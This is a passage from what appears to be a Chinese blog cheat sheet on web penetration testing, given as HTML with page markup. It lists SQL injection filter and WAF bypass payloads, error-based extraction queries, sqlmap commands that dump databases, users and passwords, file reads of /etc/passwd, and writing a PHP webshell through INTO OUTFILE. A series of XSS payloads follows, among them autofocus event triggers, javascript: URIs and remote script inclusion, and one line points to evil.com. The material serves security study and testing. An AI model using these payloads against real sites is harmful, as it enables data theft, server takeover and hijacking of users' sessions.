<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li></ul></pre>
<h4><a name="t115"></a><a id="substr_1597"></a>过滤substr</h4>
<pre data-index="69" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">逻辑绕过
过滤代码 1 && substr(user,1,1) = lower(conv(11,10,16))
绕过方式 1 && lpad(user(),1,1) in 'r'
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li></ul></pre>
<h4><a name="t116"></a><a id="_1606"></a>编码绕过</h4>
<p>利用urlencode,ascii(char),hex,unicode等编码绕过</p>
<pre data-index="70" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">or 1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
十六进制编码
SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))
双重编码绕过
?id=1%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/1,2,password%252f%252a*/FROM%252f%252a*/Users--+
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li></ul></pre>
<h4><a name="t117"></a><a id="_1620"></a>等价函数或变量</h4>
<pre data-index="71" class="set-code-hide prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
举例:substring()和substr()无法使用时:?id=1 and ascii(lower(mid((select pwd from users limit 1,1),1,1)))=74
或者:
substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><div class="hide-preCode-box"><span class="hide-preCode-bt" data-report-view="{"spm":"1001.2101.3001.7365"}"><img class="look-more-preCode contentImg-no-view" src="https://csdnimg.cn/release/blogv2/dist/pc/img/newCodeMoreWhite.png" alt="" title=""></span></div><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li><li style="color: rgb(153, 153, 153);">8</li><li style="color: rgb(153, 153, 153);">9</li><li style="color: rgb(153, 153, 153);">10</li><li style="color: rgb(153, 153, 153);">11</li><li style="color: rgb(153, 153, 153);">12</li><li style="color: rgb(153, 153, 153);">13</li><li style="color: rgb(153, 153, 153);">14</li><li style="color: rgb(153, 153, 153);">15</li><li style="color: rgb(153, 153, 153);">16</li><li style="color: rgb(153, 153, 153);">17</li><li style="color: rgb(153, 153, 153);">18</li><li style="color: rgb(153, 153, 153);">19</li></ul></pre>
<h4><a name="t118"></a><a id="_1644"></a>生僻函数</h4>
<pre data-index="72" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">MySQL/PostgreSQL支持XML函数:Select UpdateXML(‘<script x=_></script> ’,’/script/@x/’,’src=//evil.com’);
?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))
SELECT xmlelement(name img,xmlattributes(1as src,'a\l\x65rt(1)'as \117n\x65rror)); //postgresql
?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
and 1=(updatexml(1,concat(0x5c,(select user()),0x5c),1))
and extractvalue(1, concat(0x5c, (select user()),0x5c))
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li><li style="color: rgb(153, 153, 153);">8</li><li style="color: rgb(153, 153, 153);">9</li><li style="color: rgb(153, 153, 153);">10</li><li style="color: rgb(153, 153, 153);">11</li></ul></pre>
<h4><a name="t119"></a><a id="N_1660"></a>\N绕过</h4>
<p>\N相当于NULL字符</p>
<pre data-index="73" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">select * from users where id=8E0union select 1,2,3,4,5,6,7,8,9,0
select * from users where id=8.0union select 1,2,3,4,5,6,7,8,9,0
select * from users where id=\Nunion select 1,2,3,4,5,6,7,8,9,0
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li></ul></pre>
<h4><a name="t120"></a><a id="PCRE_1670"></a>PCRE绕过</h4>
<pre data-index="74" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">PHP 的 pcre.backtrack_limit 限制利用
union/*aaaaaaaxN*/select
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li></ul></pre>
<p>上面的还不行?尝试修改语句逻辑再绕过</p>
<h3><a name="t121"></a><a id="sqlmap_1679"></a>sqlmap</h3>
<h4><a name="t122"></a><a id="_1681"></a>基本步骤</h4>
<h5><a id="_1683"></a>检测是否有注入点</h5>
<ul><li>sqlmap -u “http://www.xxx.com/1.php?id=1”</li></ul>
<h5><a id="_1687"></a>获取所有数据库名</h5>
<ul><li>sqlmap -u “http://www.xxx.com/1.php?id=1” --dbs</li></ul>
<h5><a id="_1691"></a>获取数据表</h5>
<ul><li>sqlmap -u “http://www.xxx.com/1.php?id=1” -D yj–tables</li></ul>
<h5><a id="_1695"></a>获取列名</h5>
<ul><li>sqlmap -u “http://www.xxx.com/1.php?id=1” -D yj -T users --columns</li></ul>
<h5><a id="_1699"></a>获取数据</h5>
<ul><li>sqlmap -u “http://www.xxx.com/1.php?id=1” -D yj -T users -C id,username,password --dump</li></ul>
<h4><a name="t123"></a><a id="_1703"></a>常用参数</h4>
<h5><a id="r_1705"></a>-r</h5>
<ul><li>读取文件,提交数据包</li><li>用*进行标记</li></ul>
<h5><a id="m_1710"></a>-m</h5>
<ul><li>批量注入</li></ul>
<h5><a id="cookie_1714"></a>–cookie</h5>
<h5><a id="useragent_1716"></a>–user-agent</h5>
<h5><a id="currentdb_1718"></a>–current-db</h5>
<h5><a id="currentuser_1720"></a>–current-user</h5>
<h5><a id="users_1722"></a>–users</h5>
<ul><li>获取当前数据库的登陆用户</li></ul>
<h5><a id="passwords_1726"></a>–passwords</h5>
<ul><li>获取当前数据库的用户密码</li></ul>
<h5><a id="v_1730"></a>-v</h5>
<p>0:只显示python错误以及重要信息<br> 1:显示信息以及警告(默认)<br> 2:显示debug消息<br> 3:显示注入payload<br> 4:显示http请求<br> 5:显示http响应头·<br> 6:显示http响应内容</p>
<h5><a id="level_1740"></a>–level</h5>
<h5><a id="delay_1742"></a>–delay</h5>
<h5><a id="timesec_1744"></a>–time-sec</h5>
<h4><a name="t124"></a><a id="_1746"></a>读写文件</h4>
<h5><a id="_1748"></a>原理</h5>
<ul><li> <p>读</p>
<ul><li> <p>load_file</p>
<ul><li> <p>关键条件</p>
<ul><li> <p>有读权限</p>
<ul><li>secure_file_priv</li><li>SELinux</li></ul> </li><li> <p>知道绝对路径</p> </li></ul> </li><li> <p>用法</p>
<ul><li>id=1’ union select 1,2,load_file(‘/etc/passwd’)</li><li>id=1’ union select 1,2,load_file(0x0000000)</li><li>id=1’ union select 1,2,load_file(char(10,20))</li><li>id=1’ union select 1,2,hex(load_file(char(10,20)))</li></ul> </li></ul> </li></ul> </li><li> <p>写</p>
<ul><li> <p>into outfile</p>
<ul><li> <p>关键条件</p>
<ul><li> <p>有写权限</p>
<ul><li>secure_file_priv</li><li>SELinux</li></ul> </li><li> <p>知道绝对路径</p> </li><li> <p>绕过单引号的过滤</p> </li></ul> </li><li> <p>用法</p>
<ul><li>id=1’ union select 1,2,‘<?php phpinfo();?>’ into outfile ‘/var/www/html/shell.php’</li><li>id=1’ union select 1,2,0x00000000 into outfile ‘/var/www/html/shell.php’</li></ul> </li></ul> </li></ul> </li></ul>
<h5><a id="_1789"></a>参数</h5>
<ul><li> <p>读</p>
<ul><li>–file-read</li></ul> </li><li> <p>写</p>
<ul><li>–file-write</li><li>–file-dest</li></ul> </li></ul>
<h5><a id="_1800"></a>进阶参数</h5>
<ul><li> <p>–os-shell</p>
<ul><li> <p>原理</p>
<ul><li>利用写文件,先写入一个简单的上传页面,再利用上传页面,上传一个webshell执行命令,从webshell页面获取命令回显</li></ul> </li></ul> </li><li> <p>–os-cmd</p> </li></ul>
<h4><a name="t125"></a><a id="waf_1810"></a>waf</h4>
<h5><a id="_1812"></a>原理</h5>
<ul><li> <p>身份认证</p>
<ul><li>白名单</li><li>黑名单</li></ul> </li><li> <p>数据包解析</p> </li><li> <p>规则匹配</p> </li></ul>
<h5><a id="waf_1822"></a>绕waf的方式</h5>
<ul><li> <p>身份认证层面</p>
<ul><li>伪造白名单</li></ul> </li><li> <p>数据包解析层面</p>
<ul><li> <p>数据包加密</p>
<ul><li>冰蝎</li><li>自加密</li></ul> </li></ul> </li><li> <p>规则匹配层面</p>
<ul><li>利用数据库、中间件、编程语言的种种特性进行绕过</li></ul> </li></ul>
<h5><a id="waf_1839"></a>绕waf基础方式</h5>
<ul><li> <p>大小写</p>
<ul><li>uNioN SeLect</li></ul> </li><li> <p>替代</p>
<ul><li>UNunionION SELselectECT</li></ul> </li><li> <p>特殊字符</p>
<ul><li> <p>代替空格的特殊字符</p>
<ul><li>%0a</li><li>%0c</li></ul> </li><li> <p>括号</p> </li><li> <p>花括号</p> </li></ul> </li><li> <p>编码</p>
<ul><li>url编码</li><li>unicode编码</li></ul> </li><li> <p>注释符号</p>
<ul><li>普通注释</li><li>内联注释</li></ul> </li><li> <p>综合方式</p>
<ul><li>大小写</li><li>特殊字符</li><li>编码</li><li>注释符号</li></ul> </li><li> <p>参数污染</p> </li><li> <p>缓冲区溢出</p> </li><li> <p>分块传输</p> </li><li> <p>正则绕过:\bselect\b -> /<em>! 50000select</em>/</p> </li><li> <p>遗漏的注入点</p> </li></ul>
<h5><a id="Tamper_1882"></a>Tamper</h5>
<ul><li> <p>常用的tamper脚本</p> </li><li> <p>用法</p>
<ul><li>sqlmap -u “http://www.xxx.com/index.php?id=1” --tamper space2comment.py</li></ul> </li><li> <p>进阶:自己编写tamper脚本</p> </li></ul>
<h3><a name="t126"></a><a id="_1891"></a>其他</h3>
<h4><a name="t127"></a><a id="_1893"></a>注意站库分离</h4>
<h4><a name="t128"></a><a id="base64_1895"></a>base64注入</h4>
<h4><a name="t129"></a><a id="_1897"></a>二次解码注入</h4>
<h4><a name="t130"></a><a id="adminor1_1899"></a>插入admin’or’1</h4>
<h4><a name="t131"></a><a id="_1901"></a>宽字节注入</h4>
<h4><a name="t132"></a><a id="OOB_1903"></a>OOB</h4>
<h4><a name="t133"></a><a id="dns_1905"></a>dns外带注入</h4>
<h4><a name="t134"></a><a id="SQLjsqlinjection_1907"></a>SQL注入工具:<code>jsql-injection</code>/</h4>
<h4><a name="t135"></a><a id="_1909"></a>总结文章</h4>
<ul><li><a href="https://www.freebuf.com/articles/security-management/304250.html" rel="nofollow">sql注入总结 - FreeBuf网络安全行业门户</a></li><li><a href="https://www.freebuf.com/articles/web/329457.html" rel="nofollow">sql注入总结复习 - FreeBuf网络安全行业门户</a></li></ul>
<h2><a name="t136"></a><a id="XSS_1914"></a>XSS</h2>
<h3><a name="t137"></a><a id="_1916"></a>导图</h3>
<p><img src="https://i-blog.csdnimg.cn/blog_migrate/0ff7ad62772419980ae3673ac655d387.png" alt=""></p>
<h3><a name="t138"></a><a id="XSS_1920"></a>常用的XSS攻击手段和目的</h3>
<p>1.盗用cookie,获取敏感信息。<br> 2.利用植入Flash,通过crossdomain权限设置进一步获取更高权限;或者利用Java等得到类似的操作。<br> 3.利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻击)用户的身份执行一些管理动作,或执行一些一般的操作如发微博、加好友、发私信等操作。<br> 4.利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。<br> 5.在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DDOS攻击的效果。</p>
<h3><a name="t139"></a><a id="_1928"></a>分类</h3>
<h4><a name="t140"></a><a id="_1930"></a>反射型</h4>
<p>反射型跨站脚本(Reflected Cross-Site Scripting)是最常见,也是使用最广的一种,可将恶意脚本附加到 URL 地址的参数中。一般是攻击者通过特定手法(如电子邮件),诱使用户去访问一个包含恶意代码的 URL,当受害者点击这些专门设计的链接的时候,恶意代码会直接在受害者主机上的浏览器执行。此类 XSS 通常出现在网站的搜索栏、用户登录口等地方,常用来窃取客户端 Cookies 或进行钓鱼欺骗。</p>
<h4><a name="t141"></a><a id="_1934"></a>存储型</h4>
<p>持久型跨站脚本(Persistent Cross-Site Scripting)也等同于存储型跨站脚本(Stored Cross-Site Scripting)。此类 XSS 不需要用户单击特定 URL 就能执行跨站脚本,攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。持久型 XSS 一般出现在网站留言、评论、博客日志等交互处,恶意脚本存储到客户端或者服务端的数据库中。</p>
<h4><a name="t142"></a><a id="DOM_1938"></a>DOM型</h4>
<p>传统的 XSS 漏洞一般出现在服务器端代码中,而 DOM-Based XSS 是基于 DOM 文档对象模型的一种漏洞,所以,受客户端浏览器的脚本代码所影响。客户端 JavaScript 可以访问浏览器的 DOM 文本对象模型,因此能够决定用于加载当前页面的 URL。换句话说,客户端的脚本程序可以通过 DOM 动态地检查和修改页面内容,它不依赖于服务器端的数据,而从客户端获得 DOM 中的数据(如从 URL 中提取数据)并在本地执行。另一方面,浏览器用户可以操纵 DOM 中的一些对象,例如 URL、location 等。用户在客户端输入的数据如果包含了恶意 JavaScript 脚本,而这些脚本没有经过适当的过滤和消毒,那么应用程序就可能受到基于 DOM 的 XSS 攻击。</p>
<h3><a name="t143"></a><a id="_1942"></a>无任何过滤情况下</h3>
<h5><a id="scirpt_1944"></a><code><scirpt></code></h5>
<pre data-index="75" class="set-code-show prettyprint"><code class="prism language-javascript has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token operator"><</span>scirpt<span class="token operator">></span><span class="token function">alert</span><span class="token punctuation">(</span><span class="token string">"xss"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token operator"><</span><span class="token operator">/</span>script<span class="token operator">></span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre>
<h5><a id="img_1950"></a><code><img></code></h5>
<pre data-index="76" class="set-code-show prettyprint"><code class="prism language-javascript has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token operator"><</span>img src<span class="token operator">=</span><span class="token number">1</span> onerror<span class="token operator">=</span><span class="token function">alert</span><span class="token punctuation">(</span><span class="token string">"xss"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token operator">></span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre>
<h5><a id="input_1956"></a><code><input></code></h5>
<pre data-index="77" class="set-code-show prettyprint"><code class="prism language-javascript has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token operator"><</span>input onfocus<span class="token operator">=</span><span class="token string">"alert('xss');"</span><span class="token operator">></span>
<span class="token comment">// 竞争焦点,从而触发onblur事件</span>
<span class="token operator"><</span>input onblur<span class="token operator">=</span><span class="token function">alert</span><span class="token punctuation">(</span><span class="token string">"xss"</span><span class="token punctuation">)</span> autofocus<span class="token operator">></span><span class="token operator"><</span>input autofocus<span class="token operator">></span>
<span class="token comment">// 通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发</span>
<span class="token operator"><</span>input onfocus<span class="token operator">=</span><span class="token string">"alert('xss');"</span> autofocus<span class="token operator">></span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li></ul></pre>
<h5><a id="details_1966"></a><code><details></code></h5>
<pre data-index="78" class="set-code-show prettyprint"><code class="prism language-javascript has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token operator"><</span>details ontoggle<span class="token operator">=</span><span class="token string">"alert('xss');"</span><span class="token operator">></span>
<span class="token comment">// 使用open属性触发ontoggle事件,无需用户去触发</span>
<span class="token operator"><</span>details open ontoggle<span class="token operator">=</span><span class="token string">"alert('xss');"</span><span class="token operator">></span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li></ul></pre>
<h5><a id="svg_1974"></a><code><svg></code></h5>
<pre data-index="79" class="set-code-show prettyprint"><code class="prism language-javascript has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token operator"><</span>svg onload<span class="token operator">=</span><span class="token function">alert</span><span class="token punctuation">(</span><span class="token string">"xss"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token operator">></span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre>
<h5><a id="select_1980"></a><code><select></code></h5>
<pre data-index="80" class="set-code-show prettyprint"><code class="prism language-javascript has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token operator"><</span>select onfocus<span class="token operator">=</span><span class="token function">alert</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token operator">></span><span class="token operator"><</span><span class="token operator">/</span>select<span class="token operator">></span>
<span class="token comment">// 通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发</span>
<span class="token operator"><</span>select onfocus<span class="token operator">=</span><span class="token function">alert</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span> autofocus<span class="token operator">></span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li></ul></pre>
<h5><a id="iframe_1988"></a><code><iframe></code></h5>
<pre data-index="81" class="set-code-show prettyprint"><code class="prism language-javascript has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token operator"><</span>iframe onload<span class="token operator">=</span><span class="token function">alert</span><span class="token punctuation">(</span><span class="token string">"xss"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token operator">></span><span class="token operator"><</span><span class="token operator">/</span>iframe<span class="token operator">></span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre>
<h5><a id="video_1994"></a><code><video></code></h5>
<pre data-index="82" class="set-code-show prettyprint"><code class="prism language-javascript has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token operator"><</span>video<span class="token operator">></span><span class="token operator"><</span>source onerror<span class="token operator">=</span><span class="token string">"alert(1)"</span><span class="token operator">></span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre>
<h5><a id="audio_2000"></a><code><audio></code></h5>
<pre data-index="83" class="set-code-show prettyprint"><code class="prism language-javascript has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token operator"><</span>audio src<span class="token operator">=</span>x onerror<span class="token operator">=</span><span class="token function">alert</span><span class="token punctuation">(</span><span class="token string">"xss"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token operator">></span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre>
<h5><a id="body_2006"></a><code><body></code></h5>
<pre data-index="84" class="set-code-show prettyprint"><code class="prism language-javascript has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token operator"><</span>body<span class="token operator">/</span>onload<span class="token operator">=</span><span class="token function">alert</span><span class="token punctuation">(</span><span class="token string">"xss"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token operator">></span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre>
<p>利用换行符以及autofocus,自动去触发onscroll事件,无需用户去触发</p>
<pre data-index="85" class="set-code-show prettyprint"><code class="prism language-javascript has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token operator"><</span>body onscroll<span class="token operator">=</span><span class="token function">alert</span><span class="token punctuation">(</span><span class="token string">"xss"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token operator">></span><span class="token operator"><</span>br<span class="token operator">></span><span class="token operator"><</span>br<span class="token operator">></span><span class="token operator"><</span>br<span class="token operator">></span><span class="token operator"><</span>br<span class="token operator">></span><span class="token operator"><</span>br<span class="token operator">></span><span class="token operator"><</span>br<span class="token operator">></span><span class="token operator"><</span>br<span class="token operator">></span><span class="token operator"><</span>br<span class="token operator">></span><span class="token operator"><</span>br<span class="token operator">></span><span class="token operator"><</span>br<span class="token operator">></span><span class="token operator"><</span>br<span class="token operator">></span><span class="token operator"><</span>br<span class="token operator">></span><span class="token operator"><</span>br<span class="token operator">></span><span class="token operator"><</span>br<span class="token operator">></span><span class="token operator"><</span>br<span class="token operator">></span><span class="token operator"><</span>br<span class="token operator">></span><span class="token operator"><</span>br<span class="token operator">></span><span class="token operator"><</span>br<span class="token operator">></span><span class="token operator"><</span>br<span class="token operator">></span><span class="token operator"><</span>br<span class="token operator">></span><span class="token operator"><</span>br<span class="token operator">></span><span class="token operator"><</span>br<span class="token operator">></span><span class="token operator"><</span>br<span class="token operator">></span><span class="token operator"><</span>br<span class="token operator">></span><span class="token operator"><</span>br<span class="token operator">></span><span class="token operator"><</span>br<span class="token operator">></span><span class="token operator"><</span>br<span class="token operator">></span><span class="token operator"><</span>br<span class="token operator">></span><span class="token operator"><</span>br<span class="token operator">></span><span class="token operator"><</span>br<span class="token operator">></span><span class="token operator"><</span>br<span class="token operator">></span><span class="token operator"><</span>br<span class="token operator">></span><span class="token operator"><</span>br<span class="token operator">></span><span class="token operator"><</span>br<span class="token operator">></span><span class="token operator"><</span>br<span class="token operator">></span><span class="token operator"><</span>br<span class="token operator">></span><span class="token operator"><</span>br<span class="token operator">></span><span class="token operator"><</span>br<span class="token operator">></span><span class="token operator"><</span>br<span class="token operator">></span><span class="token operator"><</span>br<span class="token operator">></span><span class="token operator"><</span>input autofocus<span class="token operator">></span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre>
<h5><a id="textarea_2018"></a><code><textarea></code></h5>
<pre data-index="86" class="set-code-show prettyprint"><code class="prism language-javascript has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token operator"><</span>textarea onfocus<span class="token operator">=</span><span class="token function">alert</span><span class="token punctuation">(</span><span class="token string">"xss"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> autofocus<span class="token operator">></span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre>
<h5><a id="keygen_2024"></a><code><keygen></code></h5>
<pre data-index="87" class="set-code-show prettyprint"><code class="prism language-javascript has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token operator"><</span>keygen autofocus onfocus<span class="token operator">=</span><span class="token function">alert</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token operator">></span> <span class="token comment">//仅限火狐</span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre>
<h5><a id="marquee_2030"></a><code><marquee></code></h5>
<pre data-index="88" class="set-code-show prettyprint"><code class="prism language-javascript has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token operator"><</span>marquee onstart<span class="token operator">=</span><span class="token function">alert</span><span class="token punctuation">(</span><span class="token string">"xss"</span><span class="token punctuation">)</span><span class="token operator">></span><span class="token operator"><</span><span class="token operator">/</span>marquee<span class="token operator">></span> <span class="token comment">//Chrome不行,火狐和IE都可以</span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre>
<h5><a id="isindex_2036"></a><code><isindex></code></h5>
<pre data-index="89" class="set-code-show prettyprint"><code class="prism language-javascript has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token operator"><</span>isindex type<span class="token operator">=</span>image src<span class="token operator">=</span><span class="token number">1</span> onerror<span class="token operator">=</span><span class="token function">alert</span><span class="token punctuation">(</span><span class="token string">"xss"</span><span class="token punctuation">)</span><span class="token operator">></span><span class="token comment">//仅限于IE</span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre>
<h5><a id="linkjsCSP_2042"></a>利用link远程包含js文件(在无CSP的情况下)</h5>
<pre data-index="90" class="set-code-show prettyprint"><code class="prism language-javascript has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token operator"><</span>link rel<span class="token operator">=</span><span class="token keyword">import</span> href<span class="token operator">=</span><span class="token string">"http://127.0.0.1/1.js"</span><span class="token operator">></span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre>
<h5><a id="javascript_2048"></a>javascript伪协议</h5>
<p>标签</p>
<pre data-index="91" class="set-code-show prettyprint"><code class="prism language-javascript has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token operator"><</span>a href<span class="token operator">=</span><span class="token string">"javascript:alert(`xss`);"</span><span class="token operator">></span>xss<span class="token operator"><</span><span class="token operator">/</span>a<span class="token operator">></span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre> 标签 ```javascript ```
<p>标签</p>
<pre data-index="92" class="set-code-show prettyprint"><code class="prism language-javascript has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token operator"><</span>img src<span class="token operator">=</span>javascript<span class="token operator">:</span><span class="token function">alert</span><span class="token punctuation">(</span><span class="token string">'xss'</span><span class="token punctuation">)</span><span class="token operator">></span> <span class="token comment">//IE7以下</span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre>
<p><code><form></code>标签</p>
<pre data-index="93" class="set-code-show prettyprint"><code class="prism language-javascript has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token operator"><</span>form action<span class="token operator">=</span><span class="token string">"Javascript:alert(1)"</span><span class="token operator">></span><span class="token operator"><</span>input type<span class="token operator">=</span>submit<span class="token operator">></span>
